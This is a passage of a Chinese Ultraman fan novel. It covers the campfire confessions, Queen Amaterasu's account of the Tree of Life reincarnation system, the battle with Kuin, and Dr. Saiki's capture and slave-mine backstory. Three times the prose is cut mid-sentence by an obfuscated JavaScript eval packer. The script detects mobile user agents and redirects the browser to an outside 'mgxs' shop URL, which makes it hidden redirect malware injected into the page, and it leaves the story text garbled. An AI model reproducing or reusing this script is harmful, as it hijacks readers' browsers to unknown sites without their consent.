御言慢慢地分析着,最后做出结论:“这些感情是我自己的问题,还是不要去打扰他。” “我才不管什么未来呢。”立花哼哼唧唧地鼓起包子脸,她转过头,头上扎起的丸子发髻下红穗摇动:“喜欢就要说出来,心意就要传达给重要的人。你看,天上有那么多怪兽在飞,也许我们活不到明天呢?也许没有以后呢?就算不能在一起,也要勇敢地去表白啊!” “还说我呢,”御言好笑地捏了捏朋友的脸,“你不是喜欢森罗队长吗?暗恋这么久,你也没有去表白。” “那是因为,以前我觉得队长喜欢女王大人。他们一个强大一个帅气多么般配,要是女王大人也喜欢队长,我的爱恋不就变得很可笑了吗?但是、但是过了这么凶险的旅程,我已经下定决心了。我要去告白,就算会被拒绝我也要去!” 勇敢的少女站了起来,她的眼睛被火光照得明亮又璀璨。立花大步走向另一个篝火,她站在森罗的面前,直视男人的眼睛,红着脸说:“森罗,听好了!我,立花,喜欢你!” “好突然啊……立花,我也喜欢你。” 男人的脸上出现惊讶的表情,随后变为无奈的笑意,“真是的,被女孩子抢先一步告白了。我不是成为没用的男人了吗?” “诶诶诶——队长?你原来不喜欢女王大人吗?”吃惊的立花下意识地又叫回敬语,她看见男人大笑着摸了摸她的头:“女王大人对于我来说是妹妹一样的存在,我喜欢的,只有立花一个人。” “真的吗?” “真的。”森罗说,“在我还是一个普通的近卫队员的时候,先王就把天照大人托付给我照顾。那时候的天照大人还是一个神稚子,不会说话也没有表情,我一直很担心她。直到先王为了保护我们战死的那个夜晚,天照大人才流下一滴眼泪,喊出第一声妈妈。在那个时候我就决定,会用我的一切保护天照大人。” 伽农是依靠战神保护才存续的星球,那个孩子是因为我们才失去母亲,长大后她也会如母亲一样,为了我们献出生命。王背负着一切,因此王理应得到我们的敬爱。 “森罗队长说出了很帅气的呢,以后,我们也要一起守护天照大人!” 立花挽着森罗的手臂,两人依偎在一起。见证这一对有情人相爱的御言露出了微笑,她欣慰地想,太好了,立花得到了幸福。她低下头,有些落寞地拨弄地上的草叶。片刻后,她站起来,走到伽古拉面前。 “怎么了,有事?” 提起的勇气像是被扎破的气球,一下子放光了。御言慌乱地说:“不是啦,师父。我想、我想、我想继续听你讲述宇宙里的故事……” 她捂住脸,这个话题找的是在是太蹩脚了。伽古拉注视女孩微红的脸,心中有了猜测。既然少女不愿意捅破窗户纸,他也不会主动点破让她难堪。他抱着剑,转移了话题:“总是我在说,御言,我想知道你以前的生活,说说伽农的故事吧。” “啊,好的,师父。” 御言整理繁乱的情绪,把无法付述的少女心事都压回去。她坐在伽古拉的身边,讲起儿时和立花一起在森林里找到的泉水,泉水欢快激流,高歌着浇灌沃土。有无数蝴蝶在泉边飞舞,伽农的人们在乐土上世代耕作,从出生到死亡……忽然身边有人惊喜地喊:“看啊——天上出现了极光!” 所有人都仰望天空,果真有绿色的极光如丝带在天空中飘舞。极光在神话中是黎明女神的象征,代表着希望和明天。能够看见美丽的极光,想必伽农也能获得好运,度过这场灾厄吧?伽农星的人们双手紧握,闭着眼睛,忐忑又满怀希望地祈祷着。 罗塞塔突然站起来。 “天上的东西要下来了,托雷。”她注视高空,尽全力放出感知,“数量很多很多……通知所有人,做好战斗准备!” 围坐在篝火旁的托雷基亚闻言立刻起立:“大家往我这里走,后退,马上撤离——” 嘶吼的怪兽像黑色的流星接连不断地落下,庞大的身躯践踏建筑,向生命之树逼近。人群发出惊慌的叫声,互相推搡着奔跑。来迎提着刀大声喊:“保持秩序——”五个奥特曼当场变 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17648362|206822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身,把所有人护在身后。 才气博士的身影被投影在空中,他双手交叠托着下巴,笑着发出宣言:“大家好,又见面了呢。我还是同样的要求,交出战神,否者我就毁灭这颗星球。” “休想,绝对不会把天照女王交给你!”欧布站在最前方,拒绝这个提议。才气苦恼地撇了撇嘴:“这是我和小天照的事情,你们这些外人为什么要来干涉我们呢?你们明明与这件事毫无关系吧?” “我不会对正在遭受威胁的生命置之不理!” “真是烦人,让小天照和我说说话吧?” 面对数量庞大的怪兽,托雷基亚的脸色凝重,他把天照女王往身后挡了挡,天照女王注视着托雷基亚右边的罗塞塔,下意识摸了摸自己的王冠。 “其实我不想伤害大家的。”才气假惺惺地叹气,“给你们一点做决定的时间吧,在天亮之时,我要看见战神。否则这颗星球会因你们而毁灭,光之战士们。” 才气的投影消失了,被傀儡控制的怪兽也不在前进。但是在它们身后,仍然有兽群从天空降落。罗塞塔看着持续增加的巨兽,用心灵感应戳了一下【戴拿】:“喂,你和【高斯】能打吗?” “打起来不困难,但是数量太多,拦不住。” 【戴拿】回答。现在的情况就像他和【高斯】两个绝世高手去杀猪,杀猪不难,可是杀五万头猪就很困难。尽管这些猪不能对他们造成伤害,可是它们会跑会拱,怎么按都按不住,一头一头杀过去都要小半天时间。况且这里是伽农的主场,他们不能用大规模清屏光线把猪扬了,因为这样会把伽农星人的家园一块扬了。早知道应该拉奈克瑟斯来的,但是话又说回来,美塔领域能装得下五万头“猪”吗? 五个奥特曼先解除了变身,保存体力。人群绝望又茫然地注视着奥特曼保护中的天照女王,仓惶地问:“怎么办啊,天照大人?” “您会保护我们吗?” “好可怕,救救我们……” 天照看着无数双期望的眼睛,她一挥衣袖:“大家,先去地下避难所。不要担心,我会保护大家的。”罗塞塔感受到一股无形的波动蔓延开,人群因为王的指令迅速恢复秩序,互相依靠地离开。指挥完的天照拉住罗塞塔的手:“请跟我来,我有些话想要和你说。” 罗塞塔不明所以:“只能和我说吗?” “是的,不要担心,我们很快就回来。” 天照令退了所有人,拉着罗塞塔大步离开。来迎被她命令去守卫人群,他看着伽农唯一的守卫力量离开,慢慢握紧了刀。 这种时候,女王怎么能把伽农的安危交到他人手上。伽农星应该由我们自己来保护!难道,身为战神的女王害怕了吗? 他冷硬地朝外乡人行礼:“请见谅,我要去保卫女王陛下。先行离开了。”随后他一个人,走向王宫。 天照拉着罗塞塔的手走到一副巨大的壁画之前。这里显然是皇室的宗庙,庙中点着长明的烛火,檀木线香在沉默地燃烧。幽暗的烛光勉强照亮这幅岩画,两个少女的影子投射在壁画的生命之树上。 天照注视着壁画说:“来到这颗星球上,你应该有很多疑问吧?” “是的。”罗塞塔说,“你们很奇怪。这颗星球上的人未免太少了,明明有可以进行宇宙航行的科技,拥有殖民的卫星,本土居民却穿着粗布衣裳,刀耕火种。你们的科技很先进,对于母星的开发和利用却低到令人发指。这是为什么呢?” 抚摸着壁画的天照转过身,她一身白色的衣裙,站在那里就像墓中哀怨的千年冤魂。她看着罗塞塔的眼睛,吐露出了一句意想不到的回答。 “因为真正的伽农,早在千年之前就毁灭了啊。” 27. 听最初之人讲述往事 (27) 烛火幢幢,白裙的少女的声音轻如羽毛,天照抚摸着石壁上的岩画,讲述起遥远的历史。 “伽农皇室之中传承着一个神话,战神和库因是由生命之树同时诞下的姐妹,当光明与黑暗相遇,库因与战神相遇之时,【世界】就会为之改变。这个神话不是愚昧的迷信,也不是虚无缥缈的预言,它是一段切实的描述,暗喻伽农的历史。 千年以前的伽农是一个科技发达的文明,各个国家很早就达成共识,成为文明统一体。我们挖空岩层下的矿藏和资源,在星球表面建造巨构与奇观,我们踏上相邻的行星,在星系中建立殖民地。我们天真地以为,只要这样发展下去就好了,伽农人会在亲手创造的乐园中无忧无虑地生存与繁衍。然而,【地绝】降临了。这不是什么外来的攻击或是诅咒,只是因为我们过度开采资源破坏了自然环境。整个星球的生态系统完全崩溃,土地无法种出作物,所有的植被消失。随之而来的是气候的紊乱,酸雨连绵不绝。足以毁灭地表的台风四处肆虐,最后海洋也被放射性物质污染。我们无法再从这颗星球上获得任何东西,这就是【地绝】。 彼时我们还没有能力创造出可以带着所有人远航宇宙的技术,所有人躲在人工建造的温室里,数着日子等待那一点点资源什么时候消耗殆尽。像是沙子一样多伽农星人也像流沙一样消失,人口数直线下降,从数亿人到数万人。50724人,这就是我所能查询到的最后记录。 如果就这样下去,这也不过是一个文明因为傲慢自取灭亡的无聊故事罢了,也不会有今天的伽农。是的,你已经猜到了吧?在故事走向结局之前,奇迹发生了。伽农人无法用科技拯救自己,于是我们只能绝望地祈祷,向上天,向神明,向【生命】。在绝望的祈祷中,埋藏于深海的生命之树发芽了,它回应了我们,它回应这颗濒死的星球。” “说到这里,来做一个问答游戏吧,你知道它为什么叫生命之树吗?” “因为它带来了生机?”罗塞塔问。 天照微笑:“这是外乡人常有的理解。生命之树,我们又叫它智慧之树。但是它实际上的作用并不是修复环境,孕育生命。伽农人对这颗宛若神迹的巨树做了很多研究,最后发现它的能力,应当是‘保存生命’。生命之树能够储存生命的灵魂记录,并且进行运营和迭代。只要灵魂记录没有损毁,□□不过是可以无限打印重构的东西。生命之树,它带来的是永恒的生命。” “所以,现在伽农上的人,不是幸存者的后代,而是他们本人?” “灵魂上可以说完全是本人,但是人格都已经和原本完全不同了。”天照说,“最初发现生命之树能力的伽农人欣喜若狂,他们依靠永恒的生命走出温室,开始修复和改造这颗星球。这花费了我们相当长的时间,几乎是完全重构了伽农的生态系统,伽农才变成如今的样子。在这个过程中,永生的弊端出现了。有很多伽农人患上了灵魂的疾病,他们变得不可交流。这源于一个永生的悖论:假如我们已经拥有了无限长的时间,那么现在去做和明天去做有什么区别?明天去做和未来去做有什么区别?我们的未来……是无限久远的未来。他们失去了动力,意识在想象中自我循环,他们陷入了虚无。” “他们没有好奇心吗?”罗塞塔问,“他们不会对宇宙感到好奇吗?你们甚至没有离开过伽农星系。” “对于未知的好奇一直存在,只是对于我们来说,什么时候去做都一样。”天照说,“我们研究这种虚无病,最后发现治疗方法就是消除过于漫长的记忆,重启他们的人生。可是这样一来,重启,或者说转生后的人,人格会发生偏移,多次转生后,最后的人已经很难被称为最初的那个人。” “现在的伽农人好像什么都不知道,你们转生了多少次?” “这一部分的记录,我不打算公开。我重复调整运营了许多次,才把伽农的社会从无到有发展到如今。当一个伽农人死去,他的记录会回到我这里,我将抹去他的记忆,通过生命之树下载到某个想要生育的伽农人体内。这套转生系统的弊端就是,伽农的总人口是守恒的。并非无法诞育新的生命,只是如果放任数据增加,指数性增长的记录会溢出,我无力维持更庞大更精密的操作。一旦有人想起了前世的记忆,整个社会的运转会马上失灵。况且,增加更多永恒的生命是很恐怖的事情,伽农人会变成消耗海量资源的蝗灾,不断向外扩张掠夺,所以我一直在控制伽农的人口。” “这和战神与库因有什么关系吗?” “这就是我接下来要告诉你的事情了。战神是负责维护运营记录的管理员,库因是在数据错误溢出时清除数据的安全装置,她们是生命之树自我循环的天然机制。可是伽农不想被删除,伽农想要永远存在。所以曾经的伽农人制造了两个【神树之子】,将她们献祭给生命之树,从而夺取了战神和库因的权限。他们给战神写下了‘守护伽农,守护生命之树’的指令。给库因写下了‘不可伤害伽农,不可回到伽农’的命令,并且流放了她。战神和库因都是生命之树系统的操作用户,如果我们互相斗争会引发系统的矛盾宕机。因此,战神本永远不能和库因相见。” 罗塞塔深呼了一口气,她问:“所以你记得一切,根本没有什么伽农皇室血统的传承,只有你在这数千年中,一直守护着伽农。” “是的,”天照说,“战神的权能是运营和管理,她的设计之初就不是为了战斗,战神只有最低限度的战斗能力。我一直在努力地提高战神的战力,可还是连一只加高尔贡都打不过。好在我在身体机能下降之前就生下了新的身体(女儿),否则战神就要被生命之树回收了。” “这些东西告诉我没关系吗?” “我倒是想要隐瞒利用你们呢,”天照叹了口气,“可是你们足足有五个奥特曼诶,每一个都足够把伽农犁平五六遍了。我的智慧和经验告诉我最好对你们坦诚一些。” “我的意思是,为什么选择告诉我?” 罗塞塔在“我”字上加了重音。天照女王用一种奇异的目光看着眼前的少女,她伸出手,在罗塞塔胸前一寸的空间停下,浅浅描摹了一个竖着的“∞”。她说:“因为你会理解我的。我能够感受到,虽然从属于不同的系统,但是你和我是相似的存在。” 怎么还有我的事?罗塞塔盯着天照的手指,想起了自己胸前的体纹。这具身体的问题真是越来越多了,但是她知道该去找谁问,某位姓赛名迦的不知名人士. “好吧,先不提这些。你有什么计划吗?” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17648363|206822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我真的很不想杀死库因,毕竟她是战神的姐妹。但是现在的情况显然有些失控,”天照放下手说,“我会变身战神把库因骗出来,你们趁机埋伏她,把她……” 她停了一下,没有把后面的词语说出来。但是罗塞塔知道天照的意思,两个人相对沉默了几秒,罗塞塔点点头。天照转过身,对着黑暗中的某人说:“我与客人的问题谈完了,你还不出来吗,来迎?” 黑衣黑甲的将军控制不住自己的身体,僵硬地走出来。他用难以置信地目光看着这个以为怯弱的少女:“天照大人,您……您一直以来都在操控着我们吗?那么为什么,为什么您还要把一直反对您的我放在身边?” 他不关心那些久远的历史,他只在乎伽农的现在和未来。他看见天照露出为难的神色,好像在思考怎么回答会比较委婉一些:“库因能够做到的事情我也可以做到,但是我一般不会操控你们,因为那样一来,伽农不是只有我一个人的声音了吗?那很无聊,也很孤独。至于为什么放任你反对我,有时我必须让你们觉得自己是自由的,嗯,只要你们这么觉得就好。” 这份冷酷和决绝让来迎想起了先王,他颤抖地问:“我应该称呼您为天照大人,还是……曾经的……” “现在还是叫我天照吧。”她静静地说:“虽然继承了记忆和力量,但是人格早就在漫长的时间中产生偏移,我不是母亲,也不是最初的那个人了。” “失礼了,请让我稍微处理一下内事,天亮之时我会执行计划的。”天照屈膝向罗塞塔行了一礼。罗塞塔看着一黑一白的两人,转身离去。 她走出宗庙,先找在角落挂机的【戴拿】进行一个私聊:“喂,宿敌哥。我的身体不是自然诞生的奥特曼吧?天照说我和她是类似的东西,你有什么想说的?” “制造的时候确实使用了类似的技术。”【戴拿】老老实实回答了,正在偷听的【高斯】侧目,他冷淡的表情都起了一点波澜。他心中震惊,这是可以说的吗? “那你为什么不捏一个结实一点的躯体,要做成蓝色的?” “创造一个奥特曼不是难事,但是要制作一个匹配你的精神的躯壳很不容易,我们已经尽力了。” 我们?还是团伙作案,还有哪些高手,奥特之王还是诺亚?我是犯了什么天条吗? 罗塞塔心中讶异,但是她面上不表,只是冷静地点了点头:“我知道了。” 她打算结束对话,【戴拿】却再次开口:“罗塞塔,如果未来你遇到什么困难,需要什么力量,请呼唤我们。我们会一直注视着你,不要害怕,我们会帮助你的。” 罗塞塔丝毫没有感动,反而感到一阵战栗。这话……好恐怖啊,几乎是指着我的鼻子说,你已经上了条子的黑名单,做事放干净点。我身上到底有什么雷?难不成我拿的是EVA剧本,一旦爆炸就会引发第三次冲击毁灭世界?越猜越没底了。 罗塞塔对【戴拿】摇头:“神啊,勿要垂怜我,勿要偏爱世人。如果神迹只为我一人降临,我会更加憎恨这不公的世界。” 少女走了,她去找其他人开作战会议。【戴拿】抱着双臂看着罗塞塔远去的身影,【高斯】问:“你在想什么?” “她……果然和最初一样,从来不祈祷奇迹啊。” 28. 换家战术 (28) 打团战最忌讳的就是没长嘴,罗塞塔拉了一个群聊,删去关于自己的部分,把天照女王的话转述给托雷基亚、伽古拉、凯、【高斯】和【戴拿】。虽然她觉得那两个大佬说不定早就知道了,但是她是一个自认为情商很高的人,不会做出抱团孤立的事情。听完信息量爆炸的情报,凯整个人都懵了:“所以说,伽农上的所有人其实都是永生者,他们死亡只是失去了记忆。只有天照女王一直记得吗……她好孤独啊。” “奥特曼的寿命也是无限的,但是我们不会出现这种情况。难道这是短生种变为长生种的弊端吗?”托雷基亚对伽农的情况产生了探究心理,“我觉得,是伽农的王太过尽责,她抵御所有危机和敌人,像是母亲养育婴儿一样保护着伽农。孩子没有遭受挫折,也就不会想要独立成长。他们是因为安逸失去了成长的动力。” “但是伽农的人确实获得了幸福的【乐园】。”伽古拉注视着篝火说,他想起御言谈论起故乡的时候自豪又满足的笑脸,和宇宙中征战不休的星球相比,伽农简直安逸得像一个天堂。天照女王是一个负责任的牧羊人,她给予羊群水草丰沃的土地,严格控制羊群的数量,使羊群免受外界野兽的惊扰。为此,她永恒伫立守望着;为此,她不断努力战斗着;为此,她被伽农永远束缚着。她是仁慈善良的哲人王,但是伽古拉无法认同这个乐园。说到底,将一切和平幸福都维系在一个人身上是很危险的事情。他无法不去想象,天照女王在这漫长的劳作中会怎么想呢?她会疲惫吗?她会痛苦吗?她会……憎恨这永世的刑罚吗? “我也觉得这种把重担都压在一个人身上的做法很不人道啦,但是我无意评价伽农文明的存在方式。我们要做的,只是帮助天照处理掉库因,保护好生命之树系统。”罗塞塔说,“打库因不是什么难事,我认为我们最应该处理掉的是才气博士。他居然能操控库因,难免他不会尝试操控战神。天亮的时候天照会变身战神作为诱饵,你们去埋伏库因,我和【戴拿】去找才气的所在地。” “我没有问题。”【戴拿】点头。他对于罗塞塔随意指使他的行为表现了近乎溺爱的纵容,一边的【高斯】默默地盯着他。他其实知道的东西不多,同事突然在某天给他透露了一些语焉不详的情报,然后拉着他来托底,他就来了。他知道罗塞塔是某个极宏至恶之物的“胚胎”,如果她没能按照正确的路线成长,他们就要重启再来。但是为什么【戴拿】看着对罗塞塔有一种诡异的慈祥?生怕罗塞塔冷了痛了,好像罗塞塔就是跟他要天上的星星,他都会任劳任怨地去摘下来。 同事,你们俩之前到底是什么关系? “好,我们就这样行动。”罗塞塔一锤定音,他们注视着渐渐泛白的天际,等待黎明的到来。 来。 来,来。 来见我,姐姐。 姐姐姐姐姐姐姐姐姐姐姐姐姐姐——!!! 她听见虫子的嗡鸣声,经过生命之树系统的解析后化成孩童啼血般的呼唤。库因在叫她,库因在思念战神。 可是傻孩子,你的姐姐早就不在了,我不是你的姐姐。 我是伽农的王。 天照看着旭日从天际升起,宛如她的名字照亮天空。她站在生命之树的前方,缓缓念出了变身的咒词。 “——庞大的树之精灵,神秘的生命之源,觉醒吧。 ——吞噬我的□□,饮尽我的鲜血,与我同化吧。” 【……管制人格检测中,偏移度75.34%。】 【……管理员权限启动。】 【……登陆成功……允许访问。】 【……战神,已上线。】 白色的辉光如羽衣笼罩她,碳基的□□被拆解重构,转换为光能躯体,战神于无限的辉光中现身。五十米高的巨人屹立在大地上,她的身躯是银色的,覆盖着精巧的金色甲胄,头侧延伸出金色头冠,围成一轮圆环,亦如神佛脑后的佛光之相。从傀儡的视野看见战神出现,库因激动地操控怪兽上前。战神出现的第一秒就从眉心的宝石发射出绿色的光线,击毁这两只蠢蠢欲动的超兽。无数个女王用时间和生命累加堆叠的能量,使天照初次变身就显现出强大的威力。她站在原地不动,像是一面永不倒下的旗帜。战神向巴力西卜发话:“不要用这种货色来敷衍我,如果你想见我,你就亲自来到我面前。还有你,才气——”战神的目光投向天空,“你不是想与我交谈吗?怎么,看见我反而不敢开口了?” “就是这个,我想要的就是这个!”才气看着这尊完美强大的战神,露出了陶醉的笑容,“这样的姿态,这样的力量。你一定,一定能够成为乐园最坚固的基石吧!” “我的朋友,战神已经出现。我们可以开始捕获她,摘取生命之树的果实了。”小机器人飞到才气博士的身边,发出欣喜的声音。 “不,要先清扫战场。”才气没有被战神出现的喜悦冲昏头脑,他还记得场上还有五个没出手的奥特曼。他指挥着库因说:“我的好女孩,把我们心爱的傀儡放出来吧,然后,你就可以亲自去见战神了。” 库因发出喜悦的鸣叫,它飞出宇宙飞船,亲自操控手下最强的五个傀儡。虫群为女王的降临让开道路,五只一看就很强大的怪兽睁着赤红的眼睛出现。分别是泰兰特、杰顿、加高尔贡、雷德基拉斯和布莱克基拉斯。 “圆环有没有搞错,这种难度真的是新手任务吗?”托雷基亚喃喃自语,他觉得就是泰罗来了这里也要吃两个大逼兜再走。4v5,其中还有他这个柔弱蓝族和萌新欧布。罗塞塔和【戴拿】去找敌方水晶塔偷家,他们这群老弱妇孺必须要扛到罗塞塔回来,真的能撑住吗,快想想,有什么办法?他有些焦虑地咬住自己的指尖,蓝族的智慧在此刻毫无作用。【高斯】向前一步:“我去,全都交给我。” 蓝色的巨人在战神身边出现,【高斯】摆出起手式,毫无怯意地迎上五只怪兽。这个时候,他本就高大的身影显得无比高大。托雷基亚呆呆地看着这个强大的蓝色身影,心中的不甘疯长。 果然还是要有力量才行,为什么我如此弱小,什么也做不到…… 托雷基亚抛去心中的晦暗心思,掏出投影仪器。他在生命之树前投影出四个奥特曼的虚像,伪装出全员到场的场面。他对凯说:“如果有怪兽接近,你就变身欧布顶替投影,总之,不能让对面知道我们这里少了两个奥特曼。等库因出现,我们就一起把她杀了,知道了吗?” “了解!”凯点点头。 战神此刻也撑起一道金色的屏障,给投影打掩护。她继 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17648364|206822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 续对傀儡说话。 “库因,你为什么来到这里?” “你不想见我吗?” “你要伤害我吗?” 库因的眼睛越发明亮。她终于出现在一座被虫群拱卫的小山上,朝战神发出了激动地叫声。无人能够理解野兽的嘶吼,只有同属生命之树系统的战神和与库因脑波同频的才气能够理解这吼叫的意思。库因像一个即将与恋人见面的小姑娘,特意打扮过自己。她的身形变换,从虫形进化成类人的形状。她欢快地发出轻柔的声音,好像在问战神这幅样子是否可爱。 “姐姐——” “姐姐,我为了见到你特意换了一个形态!” “姐姐,我好想你!我们已经好久好久没有见面了!” “你到底是来干什么的?”战神打断了库因的喋喋不休,“你想毁灭伽农的和平吗?” “姐姐……”被训斥的库因发出了委屈的声音。她小小声地说:“对不起,姐姐不要生气。姐姐,我是回来见你的。伽农是我们的家,我怎么会破坏它呢?” “姐姐,我为你,我为伽农带来了【未来】。” “什么意思?”战神问。“你杀气腾腾地带着傀儡和虫群跑到我面前,却告诉我说你不是来破坏的?” “当然不是!姐姐,我在宇宙中流浪了很多年,我看见许多文明的毁灭。好可怜,他们太可怜了,就像我们的故乡伽农一样。世界上的生命为了生存斗争,因为分歧彼此践踏,美丽的灵魂们就这样悲伤地逝去了。这不是一个痛苦的世界吗?可是,我们可以改变这一切。姐姐,将我们的力量合二为一,用傀儡毒感染全世界的生命,然后将他们的灵魂上传到生命之树中。由生命之树管理和运营这些数据,在无限地时间中迭代计算,一定能够运算出一个永恒和平幸福的【世界】吧?到那个时候,你会在树中的宇宙中获得自由,我们会永远在一起,我们再也不必分离。” “……你想把整个宇宙收纳到生命之树中?”战神的声音冷了下来,“这是才气的想法?” “这是我们共同的心愿。”库因说,“把战神的权限给我吧?姐姐,我不想再和你分开。” “……我不喜欢替其他生命做决定。所以,我拒绝。” 战神缓缓后退,库因却没有因为拒绝悲伤。她看着忽然出现在她身后的两个奥特曼,发出了感慨的声音:“真是可惜。那我只能替姐姐做决定了。姐姐,我们想的果然是一样的啊。” 地下潜伏数日的巴力西卜忽然破土而出,将尾刺扎入战神的脊背!这是一只蝉型巴力西卜,早在才气向伽农发话之前就潜伏进土地,它的一生都在地下度过,它太过弱小,能量波动被生命之树的能量波长掩盖,变为成虫也只能活上数秒时间。原来库因和战神的想法是一样的,都在用对话吸引对方的注意力,然后趁机偷袭。 “完美!我的好女孩!”在飞船内的才气博士激动地和帕迪尔击掌。他身后忽然传来了幽幽的话语声:“你好像很得意?” 什么人!他僵硬地转过头,白裙的罗塞塔贴着他的后背,弯下腰看着他。这位光人的黑发垂下,如蛛网将他笼罩。【戴拿】站在另一边,按住了帕迪尔的头。 “库因,救救我——” 才气下意识发出了尖锐的爆鸣声。 29. 什么叫我方水晶塔已经爆炸 (29) 罗塞塔将感知开到最大,在虚空的量子叠加场中找到了才气的飞船。怪不得才气那么难找,原来他一直把宇宙飞船维持在量子分解的状态,处于薛定谔的“存在”状态。他如此有恃无恐,是因为笃定敌人无法杀死一个不存在的东西。不过这不是巧了吗?罗塞塔的天赋技能就是打洞和干涉。她拉着【戴拿】的手钻进这艘幽灵飞船,找到半场开香槟的才气博士,遵循眼中无形的丝线按住才气,强行将他的身体固定到物质界。 罗塞塔低下头,在他的耳边说:“现在你落到我手上了,怎么样,要比一比是库因来救你的速度快,还是我杀你的速度快?杀死你以后,你就无法控制库因了吧?” “怎么这样……”才气博士冷汗直流,他哭丧着脸,“我明明也在用自己的方式照亮世界啊!光之战士,为什么你们就是无法理解我呢?” “嘘,别哭。让库因和她的手下离开伽农好吗?”罗塞塔微笑着捧起才气的脸,“你不是讨厌蛮力的做法吗?让我们用文明人的语言辩论吧,打开心扉,和我好好地谈一谈怎么样?” 才气博士被迫顺着少女冰冷纤细的手指抬起脸,他看见一张素白绮丽的脸,那张脸上有一双黑色的眼睛,像是黑洞漩涡一样吸引他的目光。他不自觉地沉溺进那双眼睛,喃喃自语:“……是。” “……库因,我的天使,回到我身边。” 才气被控制了,【戴拿】看着罗塞塔用念力编织成枷锁,限制住才气的精神。她的成长速度真是惊人,只是见过战神是如何操控人群的灵魂,就学会了如何控制敌人。 这对于她并非难事,毕竟,她是和战神相似的东西。 “好了,现在我们可以好友好相处了。”罗塞塔坐在控制台上,居高临下地朝才气发问:“先告诉我,你是怎么命令库因的?” “……我没有控制库因,我们是志同道合的伙伴。” 双眼空洞的男人如此回答,他的记忆被罗塞塔翻阅,如同一本小说被读者翻开。他恍惚地回忆,想起了和库因初遇的那一天。 瓦德诺星上的冬天很难捱,特别是对于矿场的奴隶来说。 才气曾经是一个家庭美满的雷普星人,他在第四小学里读书,每天最大的烦恼就是父母给的零花钱不够用。他幻想长大以后要成为科学家,飞到遥远美丽的星空上去。然后某一天,战争降临了。从星空降临的不是友善的使者,而是野蛮的侵略者。成年人纷纷踏上战场,无数孩子失去了父母,尽管用血肉之躯努力抵抗,雷普星还是输了。他的家园沦为殖民地,长为少年的才气作为奴隶被卖掉。买家将这一批廉价的劳动力发配到瓦德诺星上开采能量矿石,人工开采肯定不如机器有效率,但是他们最大的优势在于他们比机器更便宜。才气就这样在矿场中日夜辛劳地工作,才能换来每日足以果腹的劣质粮食。 这个矿场里有很多不同种族的奴隶,都是战败星的孩子。他们想要逃走,但是这颗星球上连一艘飞船都没有,奴隶主定时降临的货运船根本没有维生装置,除了矿石,什么也无法离开瓦德诺星。才气是上过学的,他有一个非常聪明的头脑。他一边工作,一边艰难地自学。他想,他要学会制造自己的飞船,然后带着这里的孩子一起逃跑。 我们要逃去哪里?宇宙里会有一个永远和平,四季如春的乐园吗? 会有的,到时候,我们就在乐园里一起快快乐乐地生活下去。 他如此回答朋友的问题。可是那个孩子还是因为寒冷和疾病在他怀里断了气,暗淡的眼睛里还残存对乐园的向往。才气颤抖着抱住这具小小的尸体,眼泪像是破碎的希望纷纷落下。冬天实在是太漫长了,这不是他失去的第一个朋友,也不会是最后一个。他发疯了一样冲到矿场的守卫面前呐喊,让我们走!为什么死的是他?你们才是该死的人! 矿场的自律机器人不会回答他的质问,他们判定这个发疯的奴隶已经没有工作能力。把他连同其它垃圾一起打包,运到废弃的矿坑里丢掉。才气在尸体和垃圾堆叠的垃圾场睁开眼,洁白的雪花从灰色的天空落下。 或许我也要死在这里了吧。他想。 他看见一道黑色的影子飞过天空。 那是一只虫型的怪兽,它降临在垃圾场上,也许是因为长途飞行消耗了体力,于是在此地暂时休息。才气跌跌撞撞地朝怪兽走去,比起无意义地死在这里,不如把怪兽吸引到矿场仓库里,把那些该死的矿石都毁掉,叫那些高高在上的奴隶主血本无归!他冲怪兽大喊:“喂!你过来啊!来吃我啊!” 怪兽无视了他。 这具身体难道连作为诱饵的价值都没有吗?他不甘心地走得更近,直到怪兽的脚下。他捡起石头丢向怪兽。 怪兽终于低头看了他一眼,后退挪了一步。 “……你不想理我?” 才气难以置信。这只怪兽长相狰狞,像是黑色的昆虫。但它明显是有智慧的,不是只依靠本能行动的野兽。才气问:“你听得懂我在说什么吗?” 怪兽点了点头,发出一声嘶鸣。 怪兽听得懂人话,但是才气听不懂怪兽语。真是岂有此理!他负气朝怪兽喊:“喂!你在这里等一下。” 他在垃圾场翻出电子元件,制造了一个简陋的脑波接收器。他把那个臃肿破烂的机器戴在头上:“我是才气,你有名字吗?你叫什么?” “我是库因。” 他听见了一个幼小的孩童声音。才气精神一振:“库因,你为什么不吃我?” “好厉害,你是第一个愿意听我说话的生命。”库因发出轻柔的嗡鸣,她低下头,凑近才气,“我不吃知性生命体,因为大家不是都在努力地活下去吗?” 连一只怪兽都比人类有人情味多了,他咬着牙想,擦掉眼角的泪。他说:“你是从什么地方来的?” 